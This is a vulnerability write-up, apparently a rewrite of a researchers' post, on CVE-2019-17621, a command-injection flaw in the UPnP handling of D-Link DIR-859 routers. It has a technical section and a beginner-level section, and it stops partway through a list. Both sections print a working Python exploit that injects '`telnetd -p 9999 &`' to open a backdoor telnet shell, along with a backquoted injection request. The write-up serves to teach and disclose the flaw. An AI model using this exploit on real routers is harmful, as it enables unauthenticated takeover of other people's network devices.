Unautenticated Remote Code Execution in D-Link DIR-859 Routers (CVE-2019–17621)
An unauthenticated remote code execution vulnerability exists in D-Link DIR-859 routers due to unsanitised input in the UPnP SUBSCRIBE request's service parameter, which is used to construct a shell script filename. An attacker on the LAN could inject shell commands via backticks to execute arbitrary code and start a telnet service for persistent access.
medium.com
Published on medium.com
The remote code execution vulnerability was found in the code used to manage UPnP requests. Below we will provide a short description of the UPnP protocol.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is the D-Link DIR-859 home router, a MIPS 32-bit device. The researchers, Miguel Mendez Z. (s1kr10s) and Pablo Pollanco (secenv), looked at the firmware versions 1.06b01 Beta01 and 1.05, and found an unauthenticated remote code execution flaw reachable from the LAN. The affected products are shown in the vendor material reproduced below.

The vulnerable feature is the router's UPnP handling. UPnP is a communication protocol between devices inside a private network. One of its key functions is to open ports autonomously and automatically, without the user having to configure the router manually for each program. It is especially useful for video game systems, because it works dynamically and without user intervention.
The flaw lives in the code that manages UPnP requests, specifically in the genacgi_main() function of the binary /htdocs/cgibin, present in the firmware files DIR859Ax_FW106b01_beta01.bin and DIR859Ax_FW105b03.bin.
Setup
No account or credential is needed: the vulnerability is unauthenticated and reachable from the LAN. The researchers worked from the firmware images, decompiling the relevant binaries and PHP files, and then wrote a Python proof of concept that talks to the router's UPnP endpoint. The exploit script uses port 49152 and a callback address in the Callback header.
Finding it
The researchers started from genacgi_main() in /htdocs/cgibin, which contains the vulnerability and also the conditions that must be met to reach the vulnerable code.

Inside that function, sprintf() builds a buffer containing all the values, including the parameter ?service=* with its value, which is what the researchers tracked.

The decompiled pseudo-code of genacgi_main() (variable names changed for clarity) shows the path to the bug:
/* The method has to be SUBSCRIBE to reach the buggy code */metodo = getenv("REQUEST_METHOD”);request_uri = getenv("REQUEST_URI”);request_uri_0x3f = strchr(request_uri,0x3f);cmp_service = strncmp(request_uri_0x3f,"?service=",9)if (cmp_service != 0) { return -1; }/* more code */valor_subscribe = strcasecmp(metodo,"SUBSCRIBE");request_uri_0x3f = request_uri_0x3f + 9;if (valor_subscribe != 0) { /* more code */}server_id_3 = getenv("SERVER_ID");http_sid_2 = getenv("HTTP_SID");http_callback_2 = getenv("HTTP_CALLBACK");http_timeout = getenv("HTTP_TIMEOUT");http_nt_2 = getenv("HTTP_NT");remote_addr = getenv("REMOTE_ADDR”);/* more code */if (cmp_http_callback == 0) { /* more code */str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f); if (str_http_callback_0x2f != (char *)0x0) { get_pid_1 = getpid();/* vulnerable code */ sprintf(buffer_8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh", "/htdocs/upnp/run.NOTIFY.php", server_id_3, request_uri_0x3f, http_callback_2 + 7, str_http_callback_0x2f + 1, flag_2, remote_addr, "/var/run", request_uri_0x3f, get_pid_1);/* send the data */ xmldbc_ephp(0,0,buffer_8,(int)stdout);}/* more code */
The data in buffer_8 is then sent to PHP through xmldbc_ephp(), which finally calls send():
int xmldbc_ephp(int 0,int 0_,char *buffer_8,int stdout){ size_t len_buffer; int ret_prepre; len_buffer = strlen(buffer_8); len_buffer._2_2_ = (short)len_buffer; ret_prepre = [send(socket,buffer_8,(uint)len_buffer,0x4000);] return ret_prepre;}
The URL comes from the environment variable REQUEST_URI, and its structure is validated as follows:
request_uri = "http://IP:PORT/*?service=file_name"request_uri_0x3f = strchr(request_uri,0x3f);————strchr()———— + 9 ———— we control the filename with the variable => request_uri_0x3f
By calling strchr() and strncmp(), the code checks that the value 0x3f (the character ?) and the string ?service=* are present. It then validates the request method: if SUBSCRIBE is called, the code adds a 9 byte offset to the request_uri_0x3f pointer, placing it where the filename is. Some other variables are initialised, and finally sprintf() concatenates values from many variables into a buffer that sets new variables to be passed. Among them is SHELL_FILE, built with the format string %s_%d.sh, which is used to give a name to a new shell script.
Once the data is copied into the buffer_8 buffer, memory is laid out as follows:

The buffer is then processed by the PHP file run.NOTIFY.php, where the request method is validated once again:
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);$gena_path = $gena_path."/".$SERVICE;GENA_subscribe_cleanup($gena_path);/* IGD services */if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";/* WFA services */else if ($SERVICE == "WFAWLANConfig1")$php = "NOTIFY.WFAWLANConfig.1.php";if ($METHOD == "SUBSCRIBE"){ if ($SID == "") GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID); else GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);}else if ($METHOD == "UNSUBSCRIBE"){ GENA_unsubscribe($gena_path, $SID);}
The script calls GENA_subscribe_new(), passing the variables obtained in genacgi_main(), including SHELL_FILE. As the C code showed, this variable is used to set part of the filename.
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid){ anchor($node_base); $count = query("subscription#"); $found = 0;/* find subscription index & uuid */ foreach ("subscription") { if (query("host")==$host && query("uri")==$uri) { $found = $InDeX; break; } }if ($found == 0) { $index = $count + 1; $new_uuid = "uuid:".query("/runtime/genuuid"); } else { $index = $found; $new_uuid = query("subscription:".$index."/uuid"); }/* get timeout */ if ($timeout==0 || $timeout=="") { $timeout = 0; $new_timeout = 0; } else { $new_timeout = query("/runtime/device/uptime") + $timeout; }/* set to nodes */ set("subscription:".$index."/remote", $remote); set("subscription:".$index."/uuid", $new_uuid); set("subscription:".$index."/host", $host); set("subscription:".$index."/uri", $uri); set("subscription:".$index."/timeout", $new_timeout); set("subscription:".$index."/seq", "1"); GENA_subscribe_http_resp($new_uuid, $timeout); GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);}
GENA_subscribe_new() does not modify the $shell_file variable. Two functions follow: GENA_subscribe_http_resp(), which only loads the headers to be passed in the UPnP response, and GENA_notify_init(), which receives $shell_file, the value being tracked.
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid){ $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0); if ($inf_path=="") { TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!"); return ""; } $phyinf = PHYINF_getifname(query($inf_path."/phyinf")); if ($phyinf == "") { TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!"); return ""; }$upnpmsg = query("/runtime/upnpmsg");if ($upnpmsg == "") $upnpmsg = "/dev/null";fwrite(w, $shell_file,"#!/bin/sh\n".'echo "[$0] ..." > '.$upnpmsg."\n"."xmldbc -P ".$target_php. " -V INF_UID=".$inf_uid. " -V HDR_URL=".$uri. " -V HDR_HOST=".$host. " -V HDR_SID=".$sid. " -V HDR_SEQ=0". " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n");fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); /* Here, the code is injected as filename */}
This is where SHELL_FILE ends up. It is used as part of the name of a new file created by fwrite(). The function is called twice: the first call creates the file, taking its name from the SHELL_FILE variable we control and concatenating the output of getpid():
Request: http://IP:PORT/*?service=file_nameSystem: /var/run/nombre_archivo_13567.sh
The second fwrite() call appends a new line to this file, containing a call to the rm system command so the script deletes itself.
Exploitation
Step 1: reach the vulnerable code
The request must use the SUBSCRIBE method and carry a ?service= parameter in the URI. The C code checks for the ? character and the ?service= prefix, then skips 9 bytes to point at the filename, which is fully attacker controlled. The Callback header must also contain a / after its scheme, since the code calls strchr(http_callback_2 + 7, 0x2f) and only proceeds when that slash is found.
Step 2: inject a command into the filename
To exploit the bug, it is enough to insert a system command wrapped in backquotes, which is then injected into the shell script and gives remote code execution. The rm command fails, because the filename string is replaced by the output returned by the command (an empty string).
Request: http://IP:PORT/*?service=`ping [redacted]`System: /var/run/`ping [redacted]`_13567.shRun: rm -f `ping [redacted]`_13467.sh
Step 3: run the proof of concept
The researchers wrote a functional script to exploit the RCE:
import socketimport osfrom time import sleep# Exploit By Miguel Mendez & Pablo Pollancodef httpSUB(server, port, shell_file): print('\n[*] Connection {host}:{port}').format(host=server, port=port) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" request += "Host: " + str(server) + str(port) + "\n" request += "Callback: <http://[redacted]:34033/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(request.encode()) results = con.recv(4096)sleep(1) print('[*] Running Telnetd Service') sleep(1) print('[*] Opening Telnet Connection\n') sleep(2) os.system('telnet ' + str(server) + ' 9999')serverInput = raw_input('IP Router: ')portInput = 49152httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
The script opens a TCP connection to the router, sends a SUBSCRIBE request to /gena.cgi whose service value is the backquoted command `telnetd -p 9999 &`, and then connects to port 9999 with telnet. The Callback header points at the attacker's host, satisfying the slash check described above.
With this exploit the telnet service can be started to maintain access.

Root cause
The service value from REQUEST_URI is copied by sprintf() into buffer_8 and passed through xmldbc_ephp() to run.NOTIFY.php, then to GENA_subscribe_new() and finally to GENA_notify_init(), without any sanitisation along the way. In GENA_notify_init() the value is used as the filename passed to fwrite(), and the resulting file is a shell script whose contents are also written by the same function. Backquotes in the attacker-controlled value are injected into the shell script, giving code execution. The only checks performed are structural: the presence of ?service= in the URI, the SUBSCRIBE method, and a slash in the Callback header. None of them constrain the characters in the filename.
Impact
An attacker on the LAN can execute arbitrary commands on the router without authentication. In the proof of concept the researchers used this to start telnetd on port 9999 and keep access. The vulnerability is described as unauthenticated and LAN-side.
Fix
D-Link published a support announcement for the issue, referenced as SAP10147. The report does not describe the code change itself.
Variants to test
- Other firmware builds of the same model: check whether
genacgi_main()in/htdocs/cgibinstill buildsSHELL_FILEfrom theservicevalue withsprintf(). A positive result is aSUBSCRIBErequest whoseservicevalue appears verbatim in the generated/var/run/*.shfilename. - Other UPnP handlers that call
GENA_notify_init(): trace whether any other caller passes an attacker-controlled string as$shell_file. A positive result is a filename containing injected characters in the script path. - Command substitution variants: instead of backquotes, try other shell metacharacters in the
servicevalue and observe whether the generated script executes them. A positive result is command output or a side effect such as a listening service. - The
Callbackheader path: the code requires a/after the scheme before reaching the vulnerablesprintf(). Test whether other header values (HTTP_SID,HTTP_TIMEOUT,HTTP_NT) reach the same buffer with weaker checks. A positive result is a request that reachesxmldbc_ephp()with attacker data in a field other thanservice.
The researchers link a video, Analysis + Exploit Metasploit, from their repository s1kr10s/D-Link-DIR-859-RCE.
What happened, in plain words
A home router made by D-Link, the DIR-859, has a feature called UPnP. UPnP lets devices on your home network talk to each other and open the doors (ports) that programs need, without you having to configure anything by hand. It is the same convenience that lets a games console say "please let my traffic through" and the router just does it.
The problem is that one part of the router's UPnP handling takes a piece of text from whoever sends a request and later uses that text as the name of a small script file. If the text contains special characters that a command line treats as "run this command", the router runs it. No password, no login, nothing: anyone who can reach the router on the local network can send the request.
That kind of bug is called remote code execution, or RCE: an attacker somewhere else gets the device to run commands of their choosing. "Unauthenticated" means no login is required. "LAN" means the attacker has to be on the same local network, for example connected to the same home Wi-Fi.
The researchers who found it are Miguel Mendez Z. (s1kr10s) and Pablo Pollanco (secenv). They looked at two firmware versions, 1.06b01 Beta01 and 1.05. Firmware is the software built into the router, a bit like the operating system on a phone. The router's processor is a MIPS 32-bit chip, which is a common kind of processor in small network devices.

The image above is the vendor material listing the affected products.
The feature involved: UPnP
UPnP is a communication protocol between devices inside a private network. One of its key functions is to open ports autonomously and automatically, without the user having to configure the router manually for each program. It is especially useful for video game systems, because it works dynamically and without user intervention.
A port is like a numbered door on a computer: web traffic usually goes through door 80 or 443, and each service listens on its own number. Opening a port means letting traffic from outside reach a program inside. UPnP does this on your behalf, which is convenient and also why it deserves attention: it is a feature that accepts instructions from the network.
The flaw lives in the code that manages UPnP requests, specifically in the genacgi_main() function of the binary /htdocs/cgibin, present in the firmware files DIR859Ax_FW106b01_beta01.bin and DIR859Ax_FW105b03.bin.
A binary is a compiled program, the machine-readable form of software. A function is a named block of code inside a program, like a chapter in a book. genacgi_main() is the chapter that handles a particular kind of UPnP request.
How the researchers worked
No account or credential is needed: the vulnerability is unauthenticated and reachable from the LAN. The researchers worked from the firmware images, decompiling the relevant binaries and PHP files, and then wrote a Python proof of concept that talks to the router's UPnP endpoint. The exploit script uses port 49152 and a callback address in the Callback header.
A few of those words deserve unpacking:
- A firmware image is the file you download from the manufacturer that contains the router's whole software. Researchers download it, unpack it on a normal computer, and read the programs inside without ever touching a real router.
- Decompiling means turning a compiled binary back into something close to source code, so a human can read the logic. It is like translating a finished cake back into a recipe.
- PHP is a programming language often used for web pages. The router runs small PHP scripts as part of its web interface.
- A proof of concept, or PoC, is a small program that demonstrates the bug really works, without doing anything harmful.
- A callback address is a machine the attacker controls, which the router is asked to contact.
Finding it
The researchers started from genacgi_main() in /htdocs/cgibin, which contains the vulnerability and also the conditions that must be met to reach the vulnerable code.

The image above shows the function in broad strokes, including the conditions needed to reach the vulnerable code.
Inside that function, sprintf() builds a buffer containing all the values, including the parameter ?service=* with its value, which is what the researchers tracked.
sprintf() is a function that builds one long piece of text out of a template and several values, a bit like a mail merge that fills blanks in a letter. A buffer is simply a reserved area of memory that holds text or data. The template here includes the service value, which comes from the request, so whatever the requester puts there ends up in the buffer.

The image above shows sprintf() setting a buffer that contains all the values, including the ?service=* parameter and its value.
The decompiled pseudo-code of genacgi_main() (variable names changed for clarity) shows the path to the bug:
/* The method has to be SUBSCRIBE to reach the buggy code */metodo = getenv("REQUEST_METHOD”);request_uri = getenv("REQUEST_URI”);request_uri_0x3f = strchr(request_uri,0x3f);cmp_service = strncmp(request_uri_0x3f,"?service=",9)if (cmp_service != 0) { return -1; }/* more code */valor_subscribe = strcasecmp(metodo,"SUBSCRIBE");request_uri_0x3f = request_uri_0x3f + 9;if (valor_subscribe != 0) { /* more code */}server_id_3 = getenv("SERVER_ID");http_sid_2 = getenv("HTTP_SID");http_callback_2 = getenv("HTTP_CALLBACK");http_timeout = getenv("HTTP_TIMEOUT");http_nt_2 = getenv("HTTP_NT");remote_addr = getenv("REMOTE_ADDR”);/* more code */if (cmp_http_callback == 0) { /* more code */str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f); if (str_http_callback_0x2f != (char *)0x0) { get_pid_1 = getpid();/* vulnerable code */ sprintf(buffer_8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh", "/htdocs/upnp/run.NOTIFY.php", server_id_3, request_uri_0x3f, http_callback_2 + 7, str_http_callback_0x2f + 1, flag_2, remote_addr, "/var/run", request_uri_0x3f, get_pid_1);/* send the data */ xmldbc_ephp(0,0,buffer_8,(int)stdout);}/* more code */
Line by line, in plain words:
- The comment says the request method has to be
SUBSCRIBEto reach the buggy code. A method is the verb at the start of a web request:GETmeans "give me a page",POSTmeans "here is data", andSUBSCRIBEis a UPnP verb meaning "tell me when something changes". metodo = getenv("REQUEST_METHOD”)reads the request method from the environment. Environment variables are named values the web server hands to the program it runs, like notes passed to a worker.request_uri = getenv("REQUEST_URI”)reads the requested address, the part of the URL after the host name.request_uri_0x3f = strchr(request_uri,0x3f)finds the first?character in that address.0x3fis just the numeric code for the question mark. In a URL,?marks the start of the parameters, the extra settings after the address.cmp_service = strncmp(request_uri_0x3f,"?service=",9)compares the text starting at that?with the literal string?service=, for 9 characters. If it does not match, the function returns-1, meaning "not my job, stop here".valor_subscribe = strcasecmp(metodo,"SUBSCRIBE")checks, ignoring upper and lower case, whether the method isSUBSCRIBE.request_uri_0x3f = request_uri_0x3f + 9moves the pointer forward by 9 characters, which is exactly the length of?service=. What the pointer now points at is the value the requester supplied, the filename.- The next block reads several more environment variables:
SERVER_ID,HTTP_SID,HTTP_CALLBACK,HTTP_TIMEOUT,HTTP_NTandREMOTE_ADDR. These come from the request headers, the extra lines a browser or program sends along with the request, plus the address of the sender. str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f)looks inside theCallbackheader, skipping its first 7 characters (the scheme, such ashttp://), for a/character (0x2f). If there is no slash, the code does not continue.get_pid_1 = getpid()asks the operating system for the process ID, a number that identifies the running program. It will be used to make the filename unique.- The
sprintf()call is the vulnerable line. It builds one long text inbuffer_8with a template: the path torun.NOTIFY.php, thenMETHOD=SUBSCRIBE, thenINF_UID,SERVICE,HOST,URI,TIMEOUT,REMOTE, and finallySHELL_FILE=%s/%s_%d.sh. The last three values are the folder/var/run, theservicevalue the requester controls, and the process ID. So the requester's text becomes part of a filename ending in.sh, which is the usual ending for a shell script. xmldbc_ephp(0,0,buffer_8,(int)stdout)hands that text to another part of the system, which will pass it to PHP.
The data in buffer_8 is then sent to PHP through xmldbc_ephp(), which finally calls send():
int xmldbc_ephp(int 0,int 0_,char *buffer_8,int stdout){ size_t len_buffer; int ret_prepre; len_buffer = strlen(buffer_8); len_buffer._2_2_ = (short)len_buffer; ret_prepre = [send(socket,buffer_8,(uint)len_buffer,0x4000);] return ret_prepre;}
This function is short: it measures the length of the text with strlen(), stores it in a shorter variable, and then calls send() to push the text through a socket. A socket is one end of a network conversation, like a phone handset; send() is the act of speaking into it. In other words, the text built from the request is delivered to the PHP side over a local connection.
The URL comes from the environment variable REQUEST_URI, and its structure is validated as follows:
request_uri = "http://IP:PORT/*?service=file_name"request_uri_0x3f = strchr(request_uri,0x3f);————strchr()———— + 9 ———— we control the filename with the variable => request_uri_0x3f
This sketch shows the expected shape of the address: a host, a port, a path, then ?service= and a filename. IP and PORT stand for the router's address and port number. The annotation says that after strchr() finds the ? and the code adds 9, the pointer lands on the filename, and that filename is under our control.
By calling strchr() and strncmp(), the code checks that the value 0x3f (the character ?) and the string ?service=* are present. It then validates the request method: if SUBSCRIBE is called, the code adds a 9 byte offset to the request_uri_0x3f pointer, placing it where the filename is. Some other variables are initialised, and finally sprintf() concatenates values from many variables into a buffer that sets new variables to be passed. Among them is SHELL_FILE, built with the format string %s_%d.sh, which is used to give a name to a new shell script.
A shell script is a text file full of commands that the router's command interpreter, the shell, will run. Giving a file a name is harmless by itself; the danger is that the name is later used in a place where the shell reads it as instructions.
Once the data is copied into the buffer_8 buffer, memory is laid out as follows:

The image above shows how the data sits in memory once it has been copied into buffer_8.
The buffer is then processed by the PHP file run.NOTIFY.php, where the request method is validated once again:
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);$gena_path = $gena_path."/".$SERVICE;GENA_subscribe_cleanup($gena_path);/* IGD services */if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";/* WFA services */else if ($SERVICE == "WFAWLANConfig1")$php = "NOTIFY.WFAWLANConfig.1.php";if ($METHOD == "SUBSCRIBE"){ if ($SID == "") GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID); else GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);}else if ($METHOD == "UNSUBSCRIBE"){ GENA_unsubscribe($gena_path, $SID);}
What this script does, step by step:
- It builds a path from a node base and the
INF_UIDvalue, then appends/and theSERVICEvalue. Think of it as building a folder path out of labels. GENA_subscribe_cleanup($gena_path)tidies up any previous subscription for that path.- A chain of
ifchecks maps the service name to a PHP file:L3Forwarding1,OSInfo1,WANCommonIFC1,WANEthLinkC1,WANIPConn1andWFAWLANConfig1each get their ownNOTIFY...phpfile. These are the standard UPnP service names a router offers. - If the method is
SUBSCRIBEand there is no session ID ($SIDempty), it callsGENA_subscribe_new(), passing along the values that came from the C code, including$SHELL_FILE. If a session ID exists, it takes the other branch,GENA_subscribe_sid(). - If the method is
UNSUBSCRIBE, it callsGENA_unsubscribe().
The script calls GENA_subscribe_new(), passing the variables obtained in genacgi_main(), including SHELL_FILE. As the C code showed, this variable is used to set part of the filename.
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid){ anchor($node_base); $count = query("subscription#"); $found = 0;/* find subscription index & uuid */ foreach ("subscription") { if (query("host")==$host && query("uri")==$uri) { $found = $InDeX; break; } }if ($found == 0) { $index = $count + 1; $new_uuid = "uuid:".query("/runtime/genuuid"); } else { $index = $found; $new_uuid = query("subscription:".$index."/uuid"); }/* get timeout */ if ($timeout==0 || $timeout=="") { $timeout = 0; $new_timeout = 0; } else { $new_timeout = query("/runtime/device/uptime") + $timeout; }/* set to nodes */ set("subscription:".$index."/remote", $remote); set("subscription:".$index."/uuid", $new_uuid); set("subscription:".$index."/host", $host); set("subscription:".$index."/uri", $uri); set("subscription:".$index."/timeout", $new_timeout); set("subscription:".$index."/seq", "1"); GENA_subscribe_http_resp($new_uuid, $timeout); GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);}
In plain words, this function keeps a list of subscriptions, the UPnP way of saying "remember who asked to be notified". It looks for an existing entry with the same host and URI; if none exists, it creates a new index and a new identifier (a UUID, a long unique label). It works out when the subscription should expire using the device uptime plus the requested timeout, stores the details, sends the HTTP response, and then calls GENA_notify_init() with the $shell_file value. The important point for us: the value passes through untouched.
GENA_subscribe_new() does not modify the $shell_file variable. Two functions follow: GENA_subscribe_http_resp(), which only loads the headers to be passed in the UPnP response, and GENA_notify_init(), which receives $shell_file, the value being tracked.
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid){ $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0); if ($inf_path=="") { TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!"); return ""; } $phyinf = PHYINF_getifname(query($inf_path."/phyinf")); if ($phyinf == "") { TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!"); return ""; }$upnpmsg = query("/runtime/upnpmsg");if ($upnpmsg == "") $upnpmsg = "/dev/null";fwrite(w, $shell_file,"#!/bin/sh\n".'echo "[$0] ..." > '.$upnpmsg."\n"."xmldbc -P ".$target_php. " -V INF_UID=".$inf_uid. " -V HDR_URL=".$uri. " -V HDR_HOST=".$host. " -V HDR_SID=".$sid. " -V HDR_SEQ=0". " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n");fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); /* Here, the code is injected as filename */}
This is the function where the damage happens. It first looks up a network interface path and its name, returning early if either is missing. It picks a log destination, /dev/null (the system's bin for discarded output) if none is configured. Then it calls fwrite() twice:
- The first
fwrite(w, $shell_file, ...)creates a file whose name is$shell_file, and writes into it a small script: a first line#!/bin/shthat tells the system to run it with the shell, anecholine that writes a message to the log, and a line that runsxmldbcwith the target PHP file and sends the result withhttpcto the host. In short, it writes a working notification script. - The second
fwrite(a, $shell_file, "rm -f ".$shell_file."\n")appends a line that deletes the file itself withrm -f. The comment in the code says it plainly: here, the code is injected as filename.
This is where SHELL_FILE ends up. It is used as part of the name of a new file created by fwrite(). The function is called twice: the first call creates the file, taking its name from the SHELL_FILE variable we control and concatenating the output of getpid():
Request: http://IP:PORT/*?service=file_nameSystem: /var/run/nombre_archivo_13567.sh
Read this as a before and after. The request carries service=file_name. On the system, the resulting file is /var/run/nombre_archivo_13567.sh: the folder /var/run, the name we supplied, an underscore, the process number 13567, and .sh. The name we sent is now a filename on the router.
The second fwrite() call appends a new line to this file, containing a call to the rm system command so the script deletes itself.
Exploitation
Step 1: reach the vulnerable code
The request must use the SUBSCRIBE method and carry a ?service= parameter in the URI. The C code checks for the ? character and the ?service= prefix, then skips 9 bytes to point at the filename, which is fully attacker controlled. The Callback header must also contain a / after its scheme, since the code calls strchr(http_callback_2 + 7, 0x2f) and only proceeds when that slash is found.
Why does this matter? Because the bug is not reachable by any random request. You have to speak the right verb, put the parameter in the right place, and include a Callback header shaped like a URL. These are the conditions the researchers had to satisfy before the vulnerable line would even run.
Step 2: inject a command into the filename
To exploit the bug, it is enough to insert a system command wrapped in backquotes, which is then injected into the shell script and gives remote code execution. The rm command fails, because the filename string is replaced by the output returned by the command (an empty string).
Request: http://IP:PORT/*?service=`ping [redacted]`System: /var/run/`ping [redacted]`_13567.shRun: rm -f `ping [redacted]`_13467.sh
Backquotes are a shell convention: text between two backquotes is not taken literally, it is run as a command, and the result is put in its place. It is like a sticky note that says "insert the answer here". So the filename is not a name any more, it is an instruction. When the script later runs, the shell evaluates the backquoted part. In the example the command is ping [redacted], a harmless test that sends a network probe to an address. The rm -f line then tries to delete a file whose name is the output of that command, which is empty, so the deletion fails. The researchers note this failure as a side effect, not a problem: the command has already run.
Step 3: run the proof of concept
The researchers wrote a functional script to exploit the RCE:
import socketimport osfrom time import sleep# Exploit By Miguel Mendez & Pablo Pollancodef httpSUB(server, port, shell_file): print('\n[*] Connection {host}:{port}').format(host=server, port=port) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" request += "Host: " + str(server) + str(port) + "\n" request += "Callback: <http://[redacted]:34033/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(request.encode()) results = con.recv(4096)sleep(1) print('[*] Running Telnetd Service') sleep(1) print('[*] Opening Telnet Connection\n') sleep(2) os.system('telnet ' + str(server) + ' 9999')serverInput = raw_input('IP Router: ')portInput = 49152httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
Line by line:
import socket,import osandfrom time import sleepload three toolkits: one for network connections, one for running local commands, one for pausing.- The comment credits the two researchers.
def httpSUB(server, port, shell_file):defines a function that takes the router's address, its port, and the text to inject.- The
printline announces the connection. con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)creates a network socket, the program's end of a connection.AF_INETmeans internet addressing andSOCK_STREAMmeans a reliable stream, which is what TCP is.- The next lines build the request as text. The first line is
SUBSCRIBE /gena.cgi?service=followed by our injected text andHTTP/1.0. That is the request line: verb, path, protocol version. Host:carries the router's address and port.Callback:carries a URL pointing at the attacker's machine, which satisfies the slash check.NT: upnp:eventdeclares the notification type.Timeout: Second-1800asks for a 30 minute subscription.Accept-EncodingandUser-Agentmake the request look like a normal UPnP client. The final\n\nis the blank line that marks the end of the headers.sleep(1)pauses briefly, then the script prints that it is sending the payload. A payload is the part of the attack that carries the actual instruction.con.connect((socket.gethostbyname(server),port))opens the connection to the router, translating the name to an address first.con.send(request.encode())sends the text, converted to bytes.results = con.recv(4096)reads up to 4096 bytes of the reply.- The next lines pause, announce that the telnet service is being started, and then run
os.system('telnet ' + str(server) + ' 9999'), which opens a telnet session to port9999on the router. Telnet is an old, plain-text way to get a command prompt on a remote machine. - At the bottom, the script asks for the router's IP with
raw_input, sets the port to49152, and calls the function with the injected text`telnetd -p 9999 &`. That command starts the telnet server on port9999in the background, which is how the attacker keeps access after the initial request.
The script opens a TCP connection to the router, sends a SUBSCRIBE request to /gena.cgi whose service value is the backquoted command `telnetd -p 9999 &`, and then connects to port 9999 with telnet. The Callback header points at the attacker's host, satisfying the slash check described above.
With this exploit the telnet service can be started to maintain access.

The image above shows the exploit in action, ending with the telnet connection to the router.
Why it works
The service value from REQUEST_URI is copied by sprintf() into buffer_8 and passed through xmldbc_ephp() to run.NOTIFY.php, then to GENA_subscribe_new() and finally to GENA_notify_init(), without any sanitisation along the way. In GENA_notify_init() the value is used as the filename passed to fwrite(), and the resulting file is a shell script whose contents are also written by the same function. Backquotes in the attacker-controlled value are injected into the shell script, giving code execution. The only checks performed are structural: the presence of ?service= in the URI, the SUBSCRIBE method, and a slash in the Callback header. None of them constrain the characters in the filename.
Sanitisation means cleaning input before using it, for example by removing or escaping characters that have a special meaning. Here nobody did that. The checks only confirm the request has the right shape; they never ask whether the filename contains something dangerous.
Impact
An attacker on the LAN can execute arbitrary commands on the router without authentication. In the proof of concept the researchers used this to start telnetd on port 9999 and keep access. The vulnerability is described as unauthenticated and LAN-side.
In everyday terms: anyone who can join your home network, for example through Wi-Fi, can take control of the router. The router is the device that sits between your network and the internet, so control of it is serious.
Fix
D-Link published a support announcement for the issue, referenced as SAP10147. The report does not describe the code change itself.
Variants to test
- Other firmware builds of the same model: check whether
genacgi_main()in/htdocs/cgibinstill buildsSHELL_FILEfrom theservicevalue withsprintf(). A positive result is aSUBSCRIBErequest whoseservicevalue appears verbatim in the generated/var/run/*.shfilename. - Other UPnP handlers that call
